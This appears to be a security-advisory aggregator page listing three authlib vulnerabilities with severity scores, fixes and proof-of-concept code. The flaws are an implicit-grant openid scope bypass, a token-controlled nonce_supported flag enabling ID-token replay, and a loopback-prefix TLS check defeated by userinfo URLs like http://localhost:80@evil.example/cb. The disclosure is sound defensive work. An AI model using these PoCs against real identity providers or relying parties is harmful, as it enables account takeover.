| Field | Value | | --- | --- | | Package | authlib (PyPI, pkg:pypi/authlib) | | Repository | https://github.com/authlib/authlib | | Component | authlib.oidc.core.grants.implicit.OpenIDImplicitGrant.validateauthorizationrequest | | Vulnerability class | Authorization bypass: a client's scope restriction is bypassed for OpenID Connect ID token issuance | | Verified against | c529a61af40e3efe05286140e00fbdced07d7987 (v1.8.0). Earlier releases were not checked. | | API surface | Public API (OpenIDImplicitGrant, registered with server.registergrant(...)) | | Affected in default configuration | Yes. No non-default option is needed once OpenIDImplicitGrant is registered. Client metadata decides exposure: Authlib's standard ClientMixin checks response type and scope independently, so a client can be permitted idtoken responses without being allowed the openid scope. |

Summary

OpenIDImplicitGrant.validateauthorizationrequest() first runs the parent ImplicitGrant validation, which filters the requested scope through client.getallowedscope() and stores the result in request.scope. It then decides whether this is an OpenID request by checking the raw, client-supplied request.payload.scope instead of that filtered value. A client that is allowed profile but not openid can therefore request scope=openid profile, pass the check, and receive a signed ID token (with sub and profile claims) once the user consents. This happens even when Authlib's built-in, scope-filtering BearerTokenGenerator is in use.

The tainted input is the authorization request's scope parameter. The OAuth client fully controls it, and the client is the very party the scope restriction is meant to constrain. Any registered client can add openid to its request if it is permitted an idtoken or idtoken token response type and its allowed scopes exclude openid but include a claim-bearing scope such as profile.

Sibling paths treat the same client correctly, which suggests the raw-scope check is a bug rather than intended behaviour:

- ImplicitGrant.validateauthorizationrequest() -> filters the requested scope through client.getallowedscope() into request.scope (safe, authlib/oauth2/rfc6749/grants/implicit.py lines 141-147) - OpenIDImplicitGrant.validateauthorizationrequest() -> checks the raw request.payload.scope (unsafe, authlib/oidc/core/grants/implicit.py line 72) - UserInfoEndpoint -> rejects the same client's access token with 403 insufficientscope (safe; observed during verification, line not recorded) - OIDC authorization code flow -> issues no idtoken for the same client (safe; observed during verification, line not recorded)

Impact

A registered OAuth client that the operator has excluded from the openid scope can get an OpenID Connect ID token for any user who logs in and approves its authorization request. During verification the provider returned an RS256-signed ID token carrying iss, aud (the requesting client), nonce, authtime, athash, sub and name, while the granted scope was only profile. A consent page built the way the Authlib docs show lists only profile, so the user is not shown that an identity token will be issued.

Without this bug, the same request fails with InvalidScopeError ("Missing 'openid' scope") because the client's resolved scope does not include openid. The new capability is the ID token itself: a signed assertion of the user's identity (sub) plus claims from the client's other allowed scopes. Gating that token is exactly what the openid scope is for. The access token stays restricted when the built-in token generator is used: Authlib's UserInfoEndpoint rejects it with 403 insufficientscope.

Scoring note: we did not compute a CVSS score. An initial triage rated this High. After dynamic verification we assess practical severity as closer to Medium, because:

1. The attacker must be a registered client that is permitted idtoken response types. 2. The user must log in and consent. 3. The ID token's aud is the attacking client.

Two kinds of deployment are not affected:

- Deployments that use only the OIDC authorization code flow. During verification, that flow issued no ID token for the same client. - Deployments where every client permitted an idtoken or idtoken token response type is also allowed the openid scope.

Preconditions

1. The authorization server registers OpenIDImplicitGrant (or a subclass), e.g. server.registergrant(MyOpenIDImplicitGrant). The vulnerable method runs on every OIDC implicit authorization request. 2. A client's metadata permits an OIDC implicit response type (idtoken or idtoken token). Nothing in Authlib ties this to the openid scope. The standard SQLAlchemy ClientMixin checks response type and scope independently, and it filters requested scopes against the client's allowed scopes at authlib/integrations/sqlaoauth2/clientmixin.py:124-129. 3. That client's allowed scopes exclude openid but include another claim-bearing scope, such as profile. 4. The attacker controls that registered client and sends an authorization request that adds openid to otherwise allowed scopes (e.g. scope=openid profile), with a nonce. 5. A user logs in and approves the request. 6. Branch condition: the raw request.payload.scope contains openid while the filtered request.scope does not. So isopenidscope(self.request.payload.scope) is true at implicit.py:72 and no InvalidScopeError is raised.

No non-standard usage, monkey-patching or unusual configuration is needed: this is the public grant used as intended. Keeping a client's response types and allowed scopes in sync is not documented as the integrator's responsibility. The parent grant stores the filtered request.scope specifically so that authorization decisions use it. We did not capture a link to the relevant Authlib docs page, but the verification built its consent page the way those docs show.

Data flow

1. Source: the OAuth client controls the authorization request's scope parameter, e.g. GET /authorize?responsetype=idtoken%20token&clientid=c&redirecturi=https%3A%2F%2Fc%2Fcb&scope=openid%20profile&nonce=n. The raw value remains available as request.payload.scope. 2. Propagation: ImplicitGrant.validateauthorizationrequest() filters the requested scope through client.getallowedscope() and stores the result in request.scope (here 'profile'). request.payload.scope still holds the raw openid profile (authlib/oauth2/rfc6749/grants/implicit.py:141-147). 3. Sink: OpenIDImplicitGrant.validateauthorizationrequest() uses the raw value to decide whether this is an OpenID request: if not isopenidscope(self.request.payload.scope): (authlib/oidc/core/grants/implicit.py:72). The injected openid satisfies the check, so the method returns the redirect URI instead of raising InvalidScopeError (authlib/oidc/core/grants/implicit.py:70-84). 4. Reachability: OpenIDImplicitGrant is the public grant that serves OIDC implicit authorization requests. After the user consents, creategrantedparams() and processimplicittoken() issue the ID token and user claims (authlib/oidc/core/grants/implicit.py:112-129, authlib/oidc/core/grants/implicit.py:132-169).

Vulnerable code

authlib/oidc/core/grants/implicit.py, lines 70-84 at c529a61af40e3efe05286140e00fbdced07d7987 (an excerpt; ... marks code left out of the captured snippet):

python redirecturi = super().validateauthorizationrequest() # safe: parent grant sets the filtered request.scope if not isopenidscope(self.request.payload.scope): # <-- sink (line 72): raw, client-supplied scope raise InvalidScopeError("Missing 'openid' scope", ...) ... return redirecturi

Reproduction

Verified two ways on Authlib c529a61af40e3efe05286140e00fbdced07d7987 (v1.8.0):

- a pytest PoC using the Flask test client - a standalone Flask OpenID Provider on localhost, driven with curl

The Python and Flask versions were not recorded.

Setup: a client registered with scope='profile' only (no openid) and response types idtoken / idtoken token. It uses Authlib's built-in SQLAlchemy ClientMixin and the built-in scope-filtering BearerTokenGenerator.

1. The client sends an authorization request with scope=openid profile and a nonce. 2. ImplicitGrant sets request.scope='profile'. A consent page built the way the docs show displays only profile. 3. OpenIDImplicitGrant.validateauthorizationrequest() checks the raw request.payload.scope at line 72, so the request passes. 4. After the user approves, the provider returns an RS256-signed ID token with iss, aud (the client), nonce, authtime, athash, sub and name, while the granted scope is profile. The ID token's signature verified against the provider's JWKS.

Controls run during verification:

- The same request without openid returns invalidscope ("Missing 'openid' scope"). - Authlib's UserInfoEndpoint rejects this client's access token with 403 insufficientscope. - The OIDC authorization code flow for the same client issues no idtoken.

The sketch below shows the request shape against Authlib's Flask OIDC test app. The verification's own test script is not included here.

python Client metadata: scope='profile' (no openid), responsetypes=['idtoken token']. rv = client.get('/authorize?responsetype=idtoken%20token&clientid=client-id&redirecturi=https%3A%2F%2Fclient.test%2Fauthorized&scope=openid%20profile&nonce=n') after the user grants consent: assert 'idtoken=' in rv.headers['Location'] # should have been rejected: openid is not an allowed scope

- Expected: InvalidScopeError / invalidscope ("Missing 'openid' scope"), because the client's resolved allowed scope (request.scope == 'profile') does not include openid. - Actual: after consent, the redirect carries a signed ID token (including sub and name) while the granted scope is profile.

Suggested remediation

Decide whether to issue OpenID tokens from the scope the grant actually authorized, never from the raw requested scope. The authorized scope is self.request.scope, which the parent grant has already filtered through client.getallowedscope().

diff redirecturi = super().validateauthorizationrequest() -if not isopenidscope(self.request.payload.scope): +if not isopenidscope(self.request.scope): raise InvalidScopeError("Missing 'openid' scope", ...)

During verification, this one-line change at line 72 blocked the exploit, and the existing OIDC implicit/hybrid tests still passed (23 passed).

The same rule should hold for the rest of OIDC issuance. creategrantedparams() (authlib/oidc/core/grants/implicit.py:112-129) passes the raw payload.scope to generatetoken. It should pass self.request.scope instead.

Notes:

- Adjacent raw-scope use, worth fixing in the same change: creategrantedparams() hands the raw payload.scope to generatetoken. So a deployment whose custom token generator does not filter scope also grants the client access-token scopes it is not allowed; verification noted openid and email. Authlib's built-in BearerTokenGenerator re-filters the access-token scope, so this only shows up with a non-filtering generator. That re-filtering does not stop the ID token. - Other paths through the same raw value: beyond creategrantedparams(), we did not audit every scope read in processimplicittoken() (authlib/oidc/core/grants/implicit.py:132-169), or in other OIDC grants such as the hybrid grant. Whether they share the pattern is not verified. - Already safe, no change needed: - the scope filtering in the parent ImplicitGrant and in ClientMixin - UserInfoEndpoint, which rejects this client's access token with 403 insufficientscope - the OIDC authorization code flow, which issues no ID token for this client

Suggested regression test, alongside the existing Flask OIDC implicit-grant tests:

1. Register a client with scope='profile' and responsetypes=['idtoken token']. 2. Send an authorization request with scope=openid profile and a nonce, and approve it. 3. Assert that the response is an invalidscope error ("Missing 'openid' scope") and that the redirect contains no idtoken.

A second case should use a token generator that does not filter scope, and assert that the issued access token carries only the client's allowed scopes.

1 / 3
Source: GitHub
First published (updated )
Severity
4.2
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Summary

OpenIDMixin.parseidtoken() reads the noncesupported claim from the ID token it is validating. When that claim is boolean false, the expected nonce is set to None and nonce validation is skipped for that token.

An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.

The code is identical in authlib/integrations/baseclient/syncopenid.py:82-83 and authlib/integrations/baseclient/asyncopenid.py:84-85, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a). Preconditions: the ID token must carry a valid signature and pass iss and aud validation, and the attacker must be able to supply it to parseidtoken(). Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling parseidtoken() directly, are affected.

Details

Affected code

authlib/integrations/baseclient/syncopenid.py:80-85, in parseidtoken():

python claims = claimscls(token.claims, token.header, claimsoptions, claimsparams) https://github.com/authlib/authlib/issues/259 if claims.get("noncesupported") is False: claims.params["nonce"] = None

claims.validate(leeway=leeway)

authlib/integrations/baseclient/asyncopenid.py:82-86 contains the same code.

Source of the claim

claims is constructed from token.claims, which is the decoded payload of the ID token passed to parseidtoken():

python token = jwt.decode( token["idtoken"], key=keyset, registry=JWSRegistry(algorithms=algvalues, strictcheckheader=False), ) ... claims = claimscls(token.claims, token.header, claimsoptions, claimsparams)

claims.get("noncesupported") therefore resolves against the ID token payload. It is not read from loadservermetadata(), from client configuration, or from any other source under the relying party's control.

Effect on validation

IDToken.validatenonce() at authlib/oidc/core/claims.py:69-83 performs the comparison only when the expected value is truthy:

python noncevalue = self.params.get("nonce") if noncevalue: if "nonce" not in self: raise MissingClaimError("nonce") if noncevalue != self["nonce"]: raise InvalidClaimError("nonce")

Assigning claims.params["nonce"] = None makes noncevalue falsy, so both the presence check and the equality check are skipped. No error is raised and claims.validate() completes normally.

The docstring of that same method states the requirement:

If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request.

Trigger condition

The comparison is is False, so only a JSON boolean false activates the branch. A string value "false" does not, and nonce validation proceeds normally in that case.

Origin

The branch was added in commit 3ca7333c ("Skip verifying nonce for Apple case") to accommodate a provider that emits a noncesupported claim, as referenced by the inline comment pointing to issue #259.

Remediation

Read the flag from server metadata or client configuration rather than from the token:

python metadata = self.loadservermetadata() if metadata.get("noncesupported") is False: claims.params["nonce"] = None

This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation.

Proof of concept

Environment

- authlib 1.8.0, commit c529a61a (tag v1.8.0) - Python 3.14 - joserfc 1.7.5 - No network access required

git clone https://github.com/authlib/authlib.git && cd authlib git checkout c529a61a python3 -m venv .venv .venv/bin/pip install -e . joserfc==1.7.5 .venv/bin/python poc.py

Configuration

The relying party is a subclass of the shipped OpenIDMixin supplying only clientid and loadservermetadata(). fetchjwkset() returns metadata["jwks"] directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed.

The signing key is a generated RSA key. All three tokens are signed with it, carry iss and aud matching the relying party configuration, and are within their validity window. The relying party's session nonce is nonce-the-rp-actually-generated; every token carries the different nonce nonce-from-the-captured-token.

poc.py

python from joserfc import jwt from joserfc.jwk import RSAKey from authlib.integrations.baseclient.syncopenid import OpenIDMixin

ISSUER = "https://as.example" CLIENTID = "rp-client" KEY = RSAKey.generatekey(2048, parameters={"kid": "k1"}) JWKS = {"keys": [KEY.asdict(private=False)]}

class RP(OpenIDMixin): clientid = CLIENTID

def loadservermetadata(self): return {"issuer": ISSUER, "jwks": JWKS}

def idtoken(nonce, sub="victim", noncesupported=None): claims = {"iss": ISSUER, "sub": sub, "aud": CLIENTID, "iat": 1000000000, "exp": 4000000000, "authtime": 1000000000} if nonce is not None: claims["nonce"] = nonce if noncesupported is not None: claims["noncesupported"] = noncesupported return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY)

rp = RP() SESSIONNONCE = "nonce-the-rp-actually-generated" CAPTUREDNONCE = "nonce-from-the-captured-token"

cases = [ ("[1] no noncesupported claim", None), ("[2] noncesupported: false", False), ("[3] noncesupported: \"false\"", "false"), ]

for label, flag in cases: tok = {"accesstoken": "AT", "idtoken": idtoken(CAPTUREDNONCE, noncesupported=flag)} try: user = rp.parseidtoken(tok, nonce=SESSIONNONCE) print(f"{label:34s} -> ACCEPTED sub={user['sub']}") except Exception as e: print(f"{label:34s} -> REJECTED {type(e).name}: {e}")

Expected result

All three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected.

Observed result

[1] no noncesupported claim -> REJECTED InvalidClaimError: invalidclaim: Invalid claim: 'nonce' [2] noncesupported: false -> ACCEPTED sub=victim [3] noncesupported: "false" -> REJECTED InvalidClaimError: invalidclaim: Invalid claim: 'nonce'

Case [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the noncesupported claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean.

The script exits 0 and produces identical output across three runs.

Impact

Type of vulnerability

Reliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294).

The nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this check is read from the token itself, the check can be disabled by the data it is applied to.

Who is impacted

OpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to parseidtoken():

- Implicit flow relying parties, where the ID token is returned in the URL fragment. - Hybrid flow relying parties, where the ID token is returned in the fragment or by form post. - Applications calling parseidtoken() directly on externally supplied input.

Both the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed.

Relying parties using plain authorization code flow are not impacted, as the ID token is retrieved from the token endpoint over TLS following a state lookup and cannot be substituted by an attacker.

Consequence

An attacker in possession of a victim's ID token replays it into their own session. Nonce validation is skipped, parseidtoken() returns a UserInfo for the victim's subject, and the relying party establishes an authenticated session as the victim. This grants access to the victim's account at that relying party, including any data and actions available through it.

The token must carry a valid signature and pass iss and aud validation, so the vulnerability does not permit forging tokens or authenticating as an arbitrary subject. It removes the replay protection from a genuine token that has been captured, for example from browser history, a Referer header, proxy or server logs, or a shared device.

Mitigation available to integrators

None. The check is performed inside parseidtoken(), and no parameter or configuration option is exposed to disable the behaviour or to override the nonce handling.

1 / 3
Source: GitHub
First published (updated )
Severity
3.5
AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N

Summary authlib.common.security.issecuretransport() is used throughout Authlib to enforce the OAuth 2.0 / OIDC requirement that endpoint and redirect URIs use TLS, with an RFC 8252 §7.3 exemption for loopback http:// URIs. The check is implemented as a textual str.startswith prefix match, so a URL such as http://localhost:80@evil.example/cb — whose actual host is evil.example and whose scheme is plain http — is accepted as "secure". An attacker who can supply a URL to any of the sinks that rely on this check (OIDC RP-Initiated Logout dynamic client registration, RFC 8414 authorization-server metadata validation, error-redirect rendering) can smuggle a cleartext non-loopback URL past the TLS-required guard. This is a defense-in-depth / spec-conformance failure; severity is low.

Details Affected versions: authlib >= 0.13, <= 1.7.2 (all releases containing the loopback prefix exemption; verified against 1.7.2, the current latest)

The vulnerable function, from authlib/common/security.py at v1.7.2:

python 13 def issecuretransport(uri): 14 """Check if the uri is over ssl.""" 15 if os.getenv("AUTHLIBINSECURETRANSPORT"): 16 return True 17 18 uri = uri.lower() 19 return uri.startswith( 20 ("https://", "http://localhost:", "http://127.0.0.1:", "http://[::1]:") 21 )

Per RFC 3986 §3.2 the authority component of a URI is [ userinfo "@" ] host [ ":" port ]. The URL http://localhost:80@evil.example/cb therefore has userinfo localhost:80 and host evil.example. Because the check is a raw prefix match against the full URL string, the http://localhost: prefix matches the userinfo portion and the function returns True even though the scheme is http and the host is an arbitrary external name. The trailing : in each allow-list entry — presumably intended to force a host:port shape and reject http://localhost.evil.com — is also satisfied by the user:password separator inside userinfo, so http://localhost:@evil.example/ matches too. The same construction works against all three loopback prefixes (http://127.0.0.1:...@evil.example/, http://[::1]:...@evil.example/).

issecuretransport() is consumed at the following locations in v1.7.2, none of which independently reject URLs containing a userinfo component:

- authlib/oidc/rpinitiated/registration.py:50-57 — validation of postlogoutredirecturis during OIDC dynamic client registration for public clients (tokenendpointauthmethod == "none"). The preceding isvalidurl() check (authlib/common/urls.py:142-146) only requires parsed.scheme and parsed.hostname and does not reject userinfo, so the crafted URL passes both guards. A public client can therefore register http://localhost:80@attacker.example/cb as a post-logout redirect target; the OpenID Provider will later 302 the end-user's browser to that cleartext non-loopback URL (carrying state). - authlib/oauth2/rfc8414/models.py:61,75,100,115,123,248,284 — validation of issuer, authorizationendpoint, tokenendpoint, jwksuri, registrationendpoint, revocationendpoint, introspectionendpoint in Authorization Server Metadata / OIDC Discovery documents. A relying party using AuthorizationServerMetadata.validate() would accept endpoint values of this form as satisfying the "MUST use https" requirement when they do not. - authlib/oidc/rpinitiated/discovery.py:12 — validation of endsessionendpoint in provider metadata. - authlib/oauth2/rfc6749/errors.py:64 and authlib/oauth1/rfc5849/errors.py:33 — governs how redirecturi is rendered in error bodies (cosmetic).

The http://localhost: prefix was introduced in commit 0225c86b (first released in v0.13); http://127.0.0.1: and http://[::1]: were added later in the 1.6.x line. All variants share the same prefix-match weakness.

PoC Against the current latest release (1.7.2):

sh python3 -m venv venv ./venv/bin/pip install 'authlib==1.7.2' ./venv/bin/python poc.py

poc.py:

python #!/usr/bin/env python3 """ issecuretransport() must return True only for https:// URLs, or http:// URLs whose host is a loopback address (localhost / 127.0.0.1 / ::1).

Bypass: http://localhost:80@evil.example/cb has host 'evil.example' (userinfo = 'localhost:80') per RFC 3986, but matches the prefix 'http://localhost:' and is therefore accepted as secure. """ from urllib.parse import urlparse from authlib.common.security import issecuretransport

cases = [ "http://localhost:80@evil.example/cb", "http://127.0.0.1:80@evil.example/cb", "http://localhost:@evil.example/cb", ]

vulnerable = False for url in cases: parsed = urlparse(url) ok = issecuretransport(url) print(f"issecuretransport({url!r}) = {ok} " f"[actual host = {parsed.hostname!r}, scheme = {parsed.scheme!r}]") if ok and parsed.hostname not in ("localhost", "127.0.0.1", "::1") and parsed.scheme != "https": vulnerable = True

if vulnerable: print("\nVULNERABLE: issecuretransport() returned True for a plain-HTTP " "URL whose host is NOT a loopback address.") else: print("\nNOT VULNERABLE")

assert vulnerable, "expected bypass not observed"

Expected output:

issecuretransport('http://localhost:80@evil.example/cb') = True [actual host = 'evil.example', scheme = 'http'] issecuretransport('http://127.0.0.1:80@evil.example/cb') = True [actual host = 'evil.example', scheme = 'http'] issecuretransport('http://localhost:@evil.example/cb') = True [actual host = 'evil.example', scheme = 'http']

VULNERABLE: issecuretransport() returned True for a plain-HTTP URL whose host is NOT a loopback address.

Impact Deployments are affected if they rely on issecuretransport() — directly or via the Authlib call sites listed above — to reject cleartext non-loopback URLs supplied by an external party. The most realistic path is an OpenID Provider that enables OIDC dynamic client registration and RP-Initiated Logout: a public client can register a postlogoutredirecturis entry of the form http://localhost:80@attacker.example/…, which the provider will later use as an open-redirect target over plain HTTP. Relying parties that call AuthorizationServerMetadata.validate() on fetched discovery documents are also affected, though exploiting that sink requires the attacker to influence the metadata document. This does not bypass the OAuth 2.0 redirect-URI exact-match registration check and does not by itself yield authentication bypass or token theft; it defeats a TLS-required hardening check.

Suggested fix: Parse the URI with urllib.parse.urlsplit() and return True only if scheme == "https", or scheme == "http" and hostname in {"localhost", "127.0.0.1", "::1"}; additionally reject any URI whose parsed username/password is non-empty at these validation sites.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203